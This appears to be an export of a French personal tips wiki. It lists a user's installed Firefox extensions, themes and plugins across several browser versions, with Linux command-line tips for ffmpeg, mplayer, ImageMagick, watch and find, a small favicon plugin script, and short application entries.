<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2570/resurrect_pages-1.0.8-fx.xpi" value="Resurrect Pages" type="checkbox"><a href="http://trac.arantius.com/wiki/Extensions/Resurrect" 
title="Resurrect dead pages, by finding their ghosts." target="_blank" class="msg-data">Resurrect Pages 1.0.8 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/77/sage-1.3.10-fx.xpi" value="Sage" type="checkbox"><a href="http://sage.mozdev.org" 
title="A lightweight RSS and Atom feed aggregator." target="_blank" class="msg-data">Sage 1.3.10 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1146/screengrab_-0.93-fx.xpi" value="Screen grab!" type="checkbox"><a href="http://andy.5263.org/screengrab/" 
title="Saves a web-page as an image." target="_blank" class="msg-data">Screen grab! 0.93 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/4328/searchwords-0.3-fx.xpi" value="SearchWords" type="checkbox"><a href="http://www.screwedbydesign.com/software/searchwords" 
title="Add keywords to your search engines." target="_blank" class="msg-data">SearchWords 0.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2324/session_manager-0.6.0.2-fx.xpi" value="Session Manager" type="checkbox"><a href="http://sessionmanager.mozdev.org/" 
title="Saves and restores the state of all windows." target="_blank" class="msg-data">Session Manager 0.6.1.10 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/4336/snap_links-0.0.4-fx.xpi" value="Snap Links" type="checkbox"><a href="" 
title="Opens multiple links contained in a selected area in new tabs" target="_blank" class="msg-data">Snap Links 0.0.4 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2995/splash-1.2.2-fx+fl+sb+tb.xpi" value="Splash" type="checkbox"><a href="http://www.mrtech.com/extensions/" 
title="Adds a splash screen. Supported in Firefox, Flock, Thunderbird, Sunbird, eMusic Remote, Songbird and Sunbird. (en-US)" target="_blank" class="msg-data">Splash 2.0.0.1 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/4287/split_browser-0.4.2007070801-fx.xpi" value="Split Browser" type="checkbox"><a href="http://piro.sakura.ne.jp/xul/_splitbrowser.html.en" 
title="Splits browser window as you like." target="_blank" class="msg-data">Split Browser 0.4.2007120601 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1306/stealther-0.99-fx.xpi" value="Stealther" type="checkbox"><a href="http://www.zadet.net" 
title="Surf the web without leaving a trace in Firefox." target="_blank" class="msg-data">Stealther 0.99 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/125/switchproxy_tool-1.4.1-fx+mz+tb.xpi" value="SwitchProxy Tool" type="checkbox"><a href="http://mozmonkey.com/" 
title="A tool that allows you to manage and switch between multiple proxy configurations quickly and easily." target="_blank" class="msg-data">SwitchProxy Tool 1.4.1 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1122/tab_mix_plus-0.3.6-fx.xpi" value="Tab Mix Plus" type="checkbox"><a href="http://tmp.garyr.net" 
title="Tab browsing with an added boost." target="_blank" class="msg-data">Tab Mix Plus 0.3.6 </a>

<BR>

 

<input name="http://paranoid-androids.com/tabgroups/tabgroups.xpi" value="tabgroups" type="checkbox"><a href="http://paranoid-androids.com/tabgroups/" 
title="Tab Groups" target="_blank" class="msg-data">tabgroups 0.02 [disabled]</a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/234/thumbs-0.6.3-fx.xpi" value="Thumbs" type="checkbox"><a href="http://www.squarefree.com/extensions/thumbs/" 
title="Shows the first thumbnail from each linked gallery." target="_blank" class="msg-data">Thumbs 0.6.3 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1887/timetracker-1.2.2-fx.xpi" value="TimeTracker" type="checkbox"><a href="http://www.usablehack.com" 
title="Track the time you spend browsing." target="_blank" class="msg-data">TimeTracker 1.2.2 </a>

<BR>

 

<input name="" value="ubufox" type="checkbox"><a href="" 
title="Ubuntu Firefox Extension" target="_blank" class="msg-data">ubufox 0.4~beta1 </a>

<BR>

 

<input name="http://downloads.chrispederick.com/work/user-agent-switcher/user-agent-switcher.xpi" value="User Agent Switcher" type="checkbox"><a href="http://chrispederick.com/work/user-agent-switcher/" 
title="Adds a menu and a toolbar button to switch the user agent of the browser." target="_blank" class="msg-data">User Agent Switcher 0.6.10 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/1457/viamatic_foxpose-0.6-fx+fl.xpi" value="Viamatic foXpose" type="checkbox"><a href="http://viamatic.com/firefox" 
title="Click on the icon in the status bar to view all the browser windows with a single click." target="_blank" class="msg-data">Viamatic foXpose 0.6 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/2214/view_dependencies-0.3.2.2-fx+fl+mz+zm.xpi" value="View Dependencies" type="checkbox"><a href="http://mozilla.queze.net" 
title="Adds a tab listing dependencies and their sizes in the Page Info window." target="_blank" class="msg-data">View Dependencies 0.3.2.2 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/60/web_developer-1.1.4-fx+fl.xpi" value="Web Developer" type="checkbox"><a href="http://chrispederick.com/work/web-developer/" 
title="Adds a menu and a toolbar with various web developer tools." target="_blank" class="msg-data">Web Developer 1.1.4 </a>

<BR>

 

<input name="http://releases.mozilla.org/pub/mozilla.org/addons/3504/zotero-1.0.0rc3-fx.xpi" value="Zotero" type="checkbox"><a href="http://www.zotero.org" 
title="The Next-Generation Research Tool" target="_blank" class="msg-data">Zotero 1.0.3 </a>

<BR>



<input value="Installer" onclick="installPackages(this.form)" type="submit">

<BR>

</ul>



</div>

<div class="themes">

<h3><span class="hdr">Thèmes</span> (5):</h3>

<ul>

 <li><a href="">Firefox (default)</a> 2.0 </li>

 <li><a href="http://www.ffnn.nl/">Human Theme</a> 0.5 </li>

 <li><a href="http://www.kde-look.org/usermanager/search.php?username=jeroenvrp">KDEFF</a> 0.4 [selected]</li>

 <li><a href="http://www.ffnn.nl/">Tangerine Theme</a> 0.5 </li>

 <li><a href="http://www.ffnn.nl/">Tango Theme</a> 0.5 </li>



</ul>

</div>

<div class="plugins">

<h3><span class="hdr">Plugins</span> (6):</h3>

<ul>

 <li>DivX® Web Player</li>

 <li>Java(TM) Plug-in 1.6.0_03-b05</li>

 <li>QuickTime Plug-in 7.2.0</li>

 <li>Shockwave Flash</li>

 <li>Totem Web Browser Plugin 2.20.0</li>

 <li>Windows Media Player Plug-in 10 (compatible; Totem)</li>



</ul>

</div>
</html>
''Nom de l'application'': ''@@color(red): Extensions Firefox@@''
Mots clef: Extensions Firefox
Liens: [[Extensions Firefox|https://addons.update.mozilla.org/extensions/]]
<<<
''Description: ''Liste des extensions, thèmes et plugins pour Firefox 3 installées, générée grâce à l'extension InfoLister ainsi qu'au plugin InstallFirefoxExt. Passer au-dessus des liens permet d'avoir un petit descriptif des extensions.

''Attention: ''Les extensions firefox ne sont pas toujours sans danger et donc il vaut mieux vérifier la provenance de ces-dernières si l'on ne veut pas avoir de mauvaise surprise. Pour preuve voir cette extension [[là|http://azurit.elbiahosting.sk/ffsniff/]].

''Note: ''voir aussi WebDevExtensionAvecFirefox

''Installation: ''Sélectionner les extension que vous désirez installer, puis cliquer sur le bouton "installer".

<html>


<div class="lastupd">

<span class="hdr">Dernière mise à  jour:</span> Thu, 26 Mar 2009 19:21:54 GMT

</div>

<div class="useragent">

<span class="hdr">User Agent:</span> Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7


</div>

<div class="extensions">

<h3><span class="hdr">Extensions</span> (activées: 43, désactivées: 2):</h3>



<ul>

<form name="form" onsubmit="return false" action="">

 

<input name="" value="Adblock Plus" type="checkbox"><a href="http://adblockplus.org/" title="Ads were yesterday!" target="_blank" class="msg-data">Adblock Plus 1.0.1 </a>

<BR>

 

<input name="" value="Add Bookmark Here ²" type="checkbox"><a href="http://forum.moztw.org/viewtopic.php?t=16450" title="Add a menuitem "Add Bookmark Here..." to Bookmarks Menu." target="_blank" class="msg-data">Add Bookmark Here ² 3.1.20081205 </a>

<BR>

 

<input name="" value="All-in-One Sidebar" type="checkbox"><a href="http://firefox.exxile.net/aios" title="Sidebar control with award-winning user experience!" target="_blank" class="msg-data">All-in-One Sidebar 0.7.10 </a>

<BR>

 

<input name="" value="BetterPrivacy" type="checkbox"><a href="http://netticat.ath.cx/extensions.html" title=""Super-Cookie Safeguard"" target="_blank" class="msg-data">BetterPrivacy 1.24 </a>

<BR>

 

<input name="" value="Blank Your Monitor + Easy Reading" type="checkbox"><a href="" title="Changes color combination for energy saving on CRT monitors; makes easy, text reading" target="_blank" class="msg-data">Blank Your Monitor + Easy Reading 1.7 </a>

<BR>

 

<input name="" value="Bookmark Duplicate Detector" type="checkbox"><a href="http://bookmarkdd.mozdev.org/" title="Helps you find, move and remove duplicate bookmarks. It also notices you when you are adding a bookmark already in your Bookmarks." target="_blank" class="msg-data">Bookmark Duplicate Detector 0.7.5 </a>

<BR>

 

<input name="http://joliclic.free.fr/mozilla/boox/boox-2.0.xpi" value="Boox" type="checkbox"><a href="http://joliclic.free.fr/mozilla/boox/" title="Enhanced functionalities for your Bookmarks." target="_blank" class="msg-data">Boox 2.0 </a>

<BR>

 

<input name="" value="ColorZilla" type="checkbox"><a href="http://www.colorzilla.com/" title="Advanced Eyedropper, ColorPicker, Page Zoomer and other colorful goodies" target="_blank" class="msg-data">ColorZilla 2.0.2 </a>

<BR>

 

<input name="" value="CustomizeGoogle" type="checkbox"><a href="http://www.customizegoogle.com/" title="Enhance Google search results and remove ads and spam." target="_blank" class="msg-data">CustomizeGoogle 0.76 </a>

<BR>

 

<input name="" value="deskCut" type="checkbox"><a href="http://deskcut.mozdev.org" title="Create desktop shortcuts from the context-menu. Windows and Linux (KDE/GNOME) supported." target="_blank" class="msg-data">deskCut 0.5.0.7 </a>

<BR>

 

<input name="" value="Deutsches Wörterbuch" type="checkbox"><a href="" title="" target="_blank" class="msg-data">Deutsches Wörterbuch 1.0.1 </a>

<BR>

 

<input name="" value="Dictionnaire HunSpell en Français (réforme 1990)" type="checkbox"><a href="" title="" target="_blank" class="msg-data">Dictionnaire HunSpell en Français (réforme 1990) 2.0 </a>

<BR>

 

<input name="" value="DOM Inspector" type="checkbox"><a href="http://www.mozilla.org/projects/inspector/" title="Inspects the structure and properties of a window and its contents." target="_blank" class="msg-data">DOM Inspector 2.0.0 </a>

<BR>

 

<input name="" value="Download Statusbar" type="checkbox"><a href="http://downloadstatusbar.mozdev.org/" title="View and manage downloads from a tidy statusbar" target="_blank" class="msg-data">Download Statusbar 0.9.6.4 </a>

<BR>

 

<input name="" value="Drag & DropZones" type="checkbox"><a href="http://www.captaincaveman.nl" title="Replace the contact menu with fancy Drag & DropZones" target="_blank" class="msg-data">Drag & DropZones 1.2.5 [disabled]</a>

<BR>

 


<input name="" value="Extended Link Properties" type="checkbox"><a href="http://extensions.geckozone.org/ExtendedLinkProperties/" title="Clic droit sur un lien et sélectionner les propriétés pour connaître la taille de la cible." target="_blank" class="msg-data">Extended Link Properties 1.2.3.1 </a>

<BR>

 

<input name="" value="feedly" type="checkbox"><a href="http://www.feedly.com" title="A magazine-like startpage" target="_blank" class="msg-data">feedly 1.2 </a>

<BR>

 

<input name="" value="FFMyIP" type="checkbox"><a href="" title="Show user's current IP in statusbar" target="_blank" class="msg-data">FFMyIP 0.7.1 </a>

<BR>

 

<input name="http://getfiregpg.org/stable/firegpg.xpi" value="FireGPG" type="checkbox"><a href="http://www.getfiregpg.org/" title="An extension that acts as an assistant for using GPG." target="_blank" class="msg-data">FireGPG 0.7.5 </a>

<BR>

 

<input name="" value="Foxmarks Bookmark Synchronizer" type="checkbox"><a href="http://www.foxmarks.com/" title="Synchronizes your bookmarks across machines." target="_blank" class="msg-data">Foxmarks Bookmark Synchronizer 2.7.2 </a>

<BR>

 

<input name="" value="Gmail Manager" type="checkbox"><a href="http://www.longfocus.com/firefox/gmanager/" title="Gmail accounts management and new mail notifications." target="_blank" class="msg-data">Gmail Manager 0.5.7.1 [disabled]</a>

<BR>

 

<input name="" value="Greasemonkey" type="checkbox"><a href="http://www.greasespot.net/" title="A User Script Manager for Firefox" target="_blank" class="msg-data">Greasemonkey 0.8.20090123.1 </a>

<BR>

 

<input name="" value="Html Validator" type="checkbox"><a href="http://users.skynet.be/mgueury/mozilla/" title="Adds HTML validation to the View Page Source of the browser. The validation is done by Tidy from W3c." target="_blank" class="msg-data">Html Validator 0.8.5.2 </a>

<BR>

 

<input name="" value="InfoLister" type="checkbox"><a href="http://mozilla.doslash.org/infolister" title="Lists installed extensions and themes" target="_blank" class="msg-data">InfoLister 0.10 </a>

<BR>

 

<input name="" value="MyBookmarks" type="checkbox"><a href="http://www.catsyawn.net/ma2ten/soft/mybookmarks_en.html" title="Creates a formatted page from bookmarks." target="_blank" class="msg-data">MyBookmarks 0.5.3 </a>

<BR>

 

<input name="" value="NoScript" type="checkbox"><a href="http://noscript.net" title="Extra protection for your Firefox: NoScript allows JavaScript, Java (and other plugins) only for trusted domains of your choice (e.g. your home-banking web site). This whitelist based pre-emptive blocking approach  prevents exploitation of security vulnerabilities (known and even unknown!) with no loss of functionality… Experts will agree: Firefox is really safer with NoScript :-)" target="_blank" class="msg-data">NoScript 1.9.1.4 </a>

<BR>

 

<input name="" value="Nuke Anything Enhanced" type="checkbox"><a href="" title="Allow hiding of almost anything via context menu" target="_blank" class="msg-data">Nuke Anything Enhanced 0.68.2 </a>

<BR>

 

<input name="" value="PDF Download" type="checkbox"><a href="http://www.pdfdownload.org" title="Allows you to choose what to do with a PDF file: download it, view it with an external viewer or view it as HTML." target="_blank" class="msg-data">PDF Download 2.1.0.2 </a>

<BR>

 

<input name="" value="PermaTabs Mod" type="checkbox"><a href="http://www.donesmart.com/" title="Create non-closable tabs that stick around between sessions - modified to work in Firefox 3" target="_blank" class="msg-data">PermaTabs Mod 1.8.5.3 </a>

<BR>

 

<input name="" value="Remember The Milk for Gmail" type="checkbox"><a href="http://www.rememberthemilk.com/services/gmail/" title="Task management goodness." target="_blank" class="msg-data">Remember The Milk for Gmail 1.0.4 </a>

<BR>

 

<input name="" value="Session Manager" type="checkbox"><a href="http://sessionmanager.mozdev.org/" title="Saves and restores the state of all windows." target="_blank" class="msg-data">Session Manager 0.6.4.4 </a>

<BR>

 

<input name="http://downloads.mozdev.org/snaplinks/snaplinks-1.0.1-fx.xpi" value="Snap Links Plus" type="checkbox"><a href="http://snaplinks.mozdev.org/" title="Opens multiple links contained in a selected area in new tabs" target="_blank" class="msg-data">Snap Links Plus 1.0.1 </a>

<BR>

 

<input name="" value="Splash" type="checkbox"><a href="http://www.mrtech.com/extensions/" title="Adds a splash screen. Supported in Firefox, Flock, Thunderbird, Sunbird, eMusic Remote, Songbird and Sunbird. (en-US)" target="_blank" class="msg-data">Splash 2.0.2 </a>

<BR>

 

<input name="" value="Split Browser" type="checkbox"><a href="http://piro.sakura.ne.jp/xul/_splitbrowser.html.en" title="Splits browser window as you like." target="_blank" class="msg-data">Split Browser 0.5.2008112201 </a>

<BR>

 

<input name="http://extensions.geckozone.org/xpi/mozff/StatusbarClock-1.8.0.1-Fr.xpi" value="Statusbar Clock" type="checkbox"><a href="http://extensions.geckozone.org/StatusbarClock" title="Affiche les date et heure dans la barre d'état de votre navigateur." target="_blank" class="msg-data">Statusbar Clock 1.8.0.1 </a>

<BR>

 

<input name="" value="Stealther" type="checkbox"><a href="http://www.zadet.net" title="Surf the web without leaving a trace in Firefox." target="_blank" class="msg-data">Stealther 1.0.6 </a>

<BR>

 

<input name="" value="Stylish" type="checkbox"><a href="http://userstyles.org/stylish/" title="Customize the look of websites and of the user interface." target="_blank" class="msg-data">Stylish 0.5.9 </a>

<BR>

 

<input name="" value="SwitchProxy Tool" type="checkbox"><a href="http://mozmonkey.com/" title="A tool that allows you to manage and switch between multiple proxy configurations quickly and easily." target="_blank" class="msg-data">SwitchProxy Tool 1.4.1 </a>

<BR>

 

<input name="" value="Thumbs" type="checkbox"><a href="http://www.squarefree.com/extensions/thumbs/" title="Shows the first thumbnail from each linked gallery." target="_blank" class="msg-data">Thumbs 0.7 </a>

<BR>

 

<input name="https://people.mozilla.com/~avarma/ubiquity-0.1.1.xpi" value="Ubiquity" type="checkbox"><a href="http://wiki.mozilla.org/Labs/Ubiquity" title="An extension that allows for the use of dynamic commands in Firefox." target="_blank" class="msg-data">Ubiquity 0.1.7.1 </a>

<BR>

 

<input name="" value="Ubuntu Firefox Modifications" type="checkbox"><a href="" title="Ubuntu Firefox Pack." target="_blank" class="msg-data">Ubuntu Firefox Modifications 0.5 </a>

<BR>

 

<input name="" value="Update Notifier" type="checkbox"><a href="http://www.longfocus.com/firefox/updatenotifier" title="Notifies you when updates are available for your extensions and themes." target="_blank" class="msg-data">Update Notifier 0.1.5.4 </a>

<BR>

 

<input name="" value="User Agent Switcher" type="checkbox"><a href="http://chrispederick.com/work/user-agent-switcher/" title="Adds a menu and a toolbar button to switch the user agent of the browser." target="_blank" class="msg-data">User Agent Switcher 0.6.11 </a>

<BR>

 

<input name="" value="Vimperator" type="checkbox"><a href="http://vimperator.mozdev.org" title="Make Firefox behave like Vim" target="_blank" class="msg-data">Vimperator 1.2 </a>

<BR>

 

<input name="" value="Web Developer" type="checkbox"><a href="http://chrispederick.com/work/web-developer/" title="Adds a menu and a toolbar with various web developer tools." target="_blank" class="msg-data">Web Developer 1.1.6 </a>

<BR>



<input value="Installer" onclick="installPackages(this.form)" type="submit">

<BR>

</ul>



</div>

<div class="themes">

<h3><span class="hdr">Thèmes</span> (2):</h3>

<ul>

 <li><a href="">Default</a> 3.0.7 [selected]</li>

 <li><a href="http://thebankshow.com/projects/pitchdark">PitchDark</a> 3.0.4 </li>



</ul>

</div>

<div class="plugins">

<h3><span class="hdr">Plugins</span> (6):</h3>

<ul>

 <li>Default Plugin</li>

 <li>Demo Print Plugin for unix/linux</li>

 <li>GCJ Web Browser Plugin (using IcedTea) 1.0</li>

 <li>Helix DNA Plugin: RealPlayer G2 Plug-In Compatible</li>

 <li>iTunes Application Detector</li>

 <li>Shockwave Flash</li>



</ul>

</div>


</html>
''Nom de l'application'': ''@@color(red): Extensions Firefox@@''
Mots clef: Extensions Firefox
Liens: [[Extensions Firefox|https://addons.update.mozilla.org/extensions/]]
<<<
''Description: ''Liste des extensions, thèmes et plugins pour Firefox 4 installées, générée grâce à l'extension Extension List Dumper. 

''Attention: ''Les extensions firefox ne sont pas toujours sans danger et donc il vaut mieux vérifier la provenance de ces-dernières si l'on ne veut pas avoir de mauvaise surprise. Pour preuve voir cette extension [[là|http://azurit.elbiahosting.sk/ffsniff/]].

''Note: ''voir aussi WebDevExtensionAvecFirefox

<html>
<p>Application: Firefox 3.6.17pre (20110410035017)<br />
Operating System: Linux (x86-gcc3)</p>

<p>April 12, 2011</p>

<p>Total number of items: 22</p>

<ul>
<li><a href="http://adblockplus.org/en/">Adblock Plus 1.3.5</a>
</li>
<li><a href="http://addonlab.com">All-in-One Sidebar 0.7.13</a>
</li>
<li><a href="http://deskcut.mozdev.org">deskCut 0.6.0.2</a>
</li>
<li><a href="http://www.dicollecte.org/">Dictionnaire français «Classique & Réforme 1990» 4.0.3</a>
</li>
<li><a href="http://downloadstatusbar.mozdev.org/">Download Statusbar 0.9.8</a>
</li>
<li><a href="http://www.lazyrussian.com/my-projects/email-this-firefox-extension/">Email This! Bookmarklet Extension 2.3.0</a>
</li>
<li><a href="https://addons.mozilla.org/firefox/addon/124503">Extended Link Properties + 1.4.0</a>
</li>
<li><a href="http://www.sogame.cat/">Extension List Dumper 1.15.0</a>
</li>
<li><a href="https://mozillalabs.com/weave/">Firefox Sync 1.7</a>
</li>
<li><a href="http://www.webgapps.org/addons/flash-aid">Flash-Aid 2.0.6</a>
</li>
<li>German Dictionary 2.0.2
</li>
<li><a href="http://www.longfocus.com/firefox/gmanager/">Gmail Manager 0.6.4.1</a>
</li>
<li><a href="http://www.pdfdownload.org">PDF Download 3.0.0.2</a>
</li>
<li><a href="http://wiki.mozilla.org/Prism">Prism for Firefox 1.0b4</a>
</li>
<li><a href="http://code.kliu.org/quickdrag/">QuickDrag 2.1.2.20</a>
</li>
<li>Readability 1.3
</li>
<li><a href="http://sessionmanager.mozdev.org/">Session Manager 0.7.5</a>
</li>
<li><a href="http://extensions.geckozone.org/StatusbarClock">Statusbar Clock 1.8.0.3</a>
</li>
<li>TerminalRun 0.6
</li>
<li><a href="https://mozillalabs.com/ubiquity/">Ubiquity 0.6</a>
</li>
<li>Ubuntu Firefox Modifications 0.9rc2
</li>
<li><a href="http://vimperator.org">Vimperator 2.3.1</a>
</li>
</ul>

</html>
''Nom de l'application'': ''@@color(red): Extensions Firefox@@''
Mots clef: Extensions Firefox
Liens: [[Extensions Firefox|https://addons.update.mozilla.org/extensions/]]
<<<
''Description: ''Liste des extensions, thèmes et plugins pour Firefox 5 installées, générée grâce à l'extension Extension List Dumper. 

''Attention: ''Les extensions firefox ne sont pas toujours sans danger et donc il vaut mieux vérifier la provenance de ces-dernières si l'on ne veut pas avoir de mauvaise surprise. Pour preuve voir cette extension [[là|http://azurit.elbiahosting.sk/ffsniff/]].

''Note: ''voir aussi WebDevExtensionAvecFirefox

<html>

<p>Application: Firefox 5.0 (20110622063753)<br />
Operating System: Linux (x86-gcc3)</p>

<p>Total number of items: 15</p>

<ul>
<li><a href="http://adblockplus.org/en/">Adblock Plus 1.3.9</a>
</li>
<li><a href="http://www.toptip.ca/">Autohide Tabbar 2.8</a>
</li>
<li><a href="http://deskcut.mozdev.org">deskCut 0.6.0.3</a>
</li>
<li><a href="http://www.dicollecte.org/">Dictionnaire français «Classique &amp; Réforme 1990» 4.2</a>
</li>
<li><a href="http://downloadstatusbar.mozdev.org/">Download Statusbar 0.9.8</a>
</li>
<li><a href="http://www.lazyrussian.com/my-projects/email-this-firefox-extension/">Email This! Bookmarklet Extension 2.3.0</a>
</li>
<li><a href="http://www.sogame.cat/">Extension List Dumper 1.15.1</a>
</li>
<li><a href="https://mozillalabs.com/weave/">Firefox Sync 1.7</a>
</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/german-dictionary/?src=api">German Dictionary 2.0.2</a>
</li>
<li><a href="http://code.kliu.org/quickdrag/">QuickDrag 2.1.3.21</a>
</li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/readability/?src=api">Readability 1.6</a>
</li>
<li><a href="http://sessionmanager.mozdev.org/">Session Manager 0.7.6</a>
</li>
<li><a href="https://mozillalabs.com/ubiquity/">Ubiquity 0.6</a>
</li>
<li>Ubuntu Firefox Modifications 0.9.1
</li>
<li><a href="http://vimperator.org">Vimperator 3.2</a>
</li>
</ul>

</html>
Astuce: ''Comment extraire facilement la bande son d'une vidéo''
Mots clef: son, vidéo
Os: Linux 
Liens: [[source| http://blog.effraie.org/index.php/post/2006/10/16/Extraire-le-son-dune-video ]]
<<<
Extraction de la bande son:
{{{$ mplayer video.avi -vc dummy -vo null -ao pcm:file=sonVideo.wav}}}
Encodage en mp3 :
{{{$ lame -h sonVideo.wav}}}
Pour un fichier .flv:
avec mplayer
{{{
$ mplayer -dumpaudio -dumpfile .mp3 .flvi
}}}
avec ffmpeg
{{{
$ ffmpeg -i .flv -vn .mp3
}}}
''Nom de l'application'': ''@@color(red): Extreme Tux Racer @@''
Mots clef: Tux, course
Liens: [[Site officiel| http://extremetuxracer.com/ ]]
<<<
''Description: ''Course de manchot sur piste verglacée, à essayer de toute urgence.

''Installation: ''Paquet .deb disponible sur le site officiel pour obtenir la dernière version.

''Utilisation: ''{{{$ etracer}}}
Astuce: ''Exécuter une commande toutes les n secondes''
Mots clef: bash
Os: Linux
<<<
Pour exécuter une commande toutes les n secondes, il suffit d'utiliser la commande watch.
{{{$ watch -n 1 date}}}
Cette ligne exécute la commande 'date' toutes les 1 seconde.
Voir aussi "at" qui permet l"éxécution d"une commande à une heure précise.
<<<
// //''Name:'' Favicon
// //''Author:'' AlanHecht
// //''Type:'' SystemConfig

// //''Description:'' favicon allows you to stipulate the location of a webpage icon (also known as a favorite icon or favicon) for your TiddlyWiki.  The location of the icon is absolute (meaning that you need to give the full URL path, including the "http:").  This allows you to use any favicon icon that exists on the Web -- even if it is on a totally different server.

// //''Directions:'' <<tiddler StartupBehaviorDirections>> 
// //Then, in the code section below, change the line beginning with {{{n.href}}} so that the value inside the quotation marks is the absolute URL for the icon file (usually named favicon.ico).

// //''Notes:'' Many web browsers -- with the exception of Microsoft Internet Explorer (IE) -- load favicons in the browser address bar automatically.  However, IE users will not see your favicon unless they 1) have IE set as the computer's default browser, and 2) create a favorite (aka bookmark) for your site (and even then, IE sometimes still doesn't play nice).

// //''Related Links:'' for more information on creating favicons, visit ''[[this page|http://www.chami.com/html-kit/services/favicon/]]'' which also has a tool to convert an image of your choice into a favicon file.

// //''Revision History:''
// // v0.1.0 (18 July 2005) - initial release

// //''Code section:''
version.extensions.favicon = {major: 0, minor: 1, revision: 0, date: new Date("Jul 18, 2005")};
var n = document.createElement("link");	
n.rel = "shortcut icon"; 
n.href = "http://membres.lycos.fr/wikitux/favicon.ico"; 
document.getElementsByTagName("head")[0].appendChild(n);
Astuce: ''~FFmpeg usage command''
Mots clef: vidéo, ffmeg
Os: Linux
<<<
''Convert other video to FLV''
{{{ffmpeg -i video.avi -ar 22050 -ab 32 -f flv -s 320x240 video.flv}}}
-i input file name
-ar audio sampling rate in Hz
-ab audio bit rate in kbit/s
-f output format
-s output dimension

''Convert other video to FLV with metadata''
You have to install flvtool2, too, see my previous post
{{{ffmpeg -i video.avi -ar 22050 -ab 32 -f flv -s 320x240 - | flvtool2 -U stdin video.flv}}}

''Convert FLV to jpg sequence''
{{{ffmpeg -i video.flv -an -r 1 -y -s 320x240 video%d.jpg}}}
-i Input file name
-an disable audio
-r fps
-y overwrite file
-s output dimension

''Convert particular frame to jpg''
{{{ffmpeg -i video.flv -an -ss 00:00:03 -t 00:00:01 -r 1 -y -s 320x240 video%d.jpg}}}
-ss record start time
-t record end time last for
So if you want to save frame 4 (00:00:04) -ss 00:00:03 -t 00:00:01. Note: it is count from 00:00:00. Even you want to save one jpg, you still need to use %d for naming, it is strange that I grab one frame for one second, it will return two identical jpg files for me.

''Notes: ''
#Pour ajouter des titres aux films grâce à ffmpeg, voir [[cet excellent tuto|http://www.lefinnois.net/wp/index.php/2007/11/19/titrage-video-en-ligne-de-commande-avec-ffmpeg/]]
#Pour un frontend graphique, voir WinFF.
''Nom de l'application'': ''@@color(red): Filelight @@''
Mots clef: système, disque, fichiers
Liens: [[site officiel| http://www.methylblue.com/filelight/ ]]
<<<
''Description: ''Filelight permet de visualiser la répartition de l'espace disque sous forme de camemberts.

''Installation: ''{{{apt-get install filelight}}}

''Notes: ''Dans konqueror, on a alors la possibilité d'utiliser cet outil en cliquant sur le menu Affichage > Type d'affichage > ''Radialmap View''.

Dans konqueror encore, il existe encore une autre possibilité de visualisation de l'espace occupé: dans //view mode// choiser ''file size view'', qui offre un très bon aperçu graphique des fichiers et de leur taille (équivalent du programme windows spacemonge).

''Alternatives:'' 
#Kdirstat: ([[site|http://kdirstat.sourceforge.net]]) permet de voir l'espace pris (dossiers et fichiers) sous forme de rectangles.
#Gdmap: ([[site|http://gdmap.sourceforge.net/]]) ressemble à Kdirstat.
#Baobab: ([[site|http://www.marzocca.net/linux/baobab.html]]) comme Filelight mais pour gnome.
#Jdiskreport: ([[site|http://www.jgoodies.com/freeware/jdiskreport/]]) analyseur d'espace disque plus classique.
#En console: durep (sortie texte ou html) ou xdiskusage ou, encore plus simple, {{{du -sh}}} et {{{df -h}}}.
Astuce: ''ajouter un texte en filigrane sur une photo''
Mots clef: photos
Os: Tous
Liens: [[source| http://forum.ubuntu-fr.org/viewtopic.php?pid=854978 ]]
<<<
Cette méthode nécessite ImageMagick
{{{$ mogrify -gravity southeast -font Bookman-DemiItalic -pointsize 48 -fill none -stroke '#000000cc' -strokewidth 3 -draw "text 40,40 'FILIGRANE'" fichier.jpg}}}

Bien sûr il est possible de changer l'ensemble des paramétres.
''Nom de l'application'': ''@@color(red): Find @@''
Mots clef: bash, texte
Liens: [[source|http://blog.lebr1.fr/post/2007/01/10/Utilisation-de-la-commande-find]]
<<<
''Description: ''Find permet la recherche de fichiers ou de dossier avec une grande quantité d'options. 

''Installation: ''Installer d'office en général

''Utilisation: ''
*Remplacer une chaîne de caractère dans une série de fichiers répartis dans des dossiers ([[source et explications|http://pwet.fr/blog/remplacer_du_texte_dans_une_serie_de_fichiers_repartis_dans_des_dossiers]])
{{{
$ find /dossier/contenant/fichiers -type f -exec sed -i 's/à remplacer/remplacement/g' {} \;
}}}
*Renommer tous les fichiers cover par .cover dans le répertoire courant et ses sous-répertoires:
{{{
$ find . -name cover.png |  sed -e 's/ /\\ /g'| xargs rename 's/cover.png/.cover.png/'
}}}
*Remplacer le mot /cover par /.cover dans la 2eme ligne de tous les fichiers .directory dans le répertoire courant et ses sous-répertoires:
{{{
$ find -name .directory | sed -e 's/ /\\ /g'| xargs sed -i '2 s/\/cover/\/.cover/'
}}}
*Compter le nombre de fichier mp3 dans le dossier et ses sous-dossiers (à 1 prêt)
{{{
$ find . -name "*.mp3" -not -type d | wc -l
}}}
*Rechercher de fichier mp3 et déplacement dans un dossier
{{{
$ find / -iname "*.mp3" -exec mv {} /mnt/mp3 \;
}}}
*Déplacer les fichiers mais pas les répertoires
{{{
$ find / -iname -type f “*.mp3″ -exec /bin/mv {} /mnt/mp3 \;
}}}
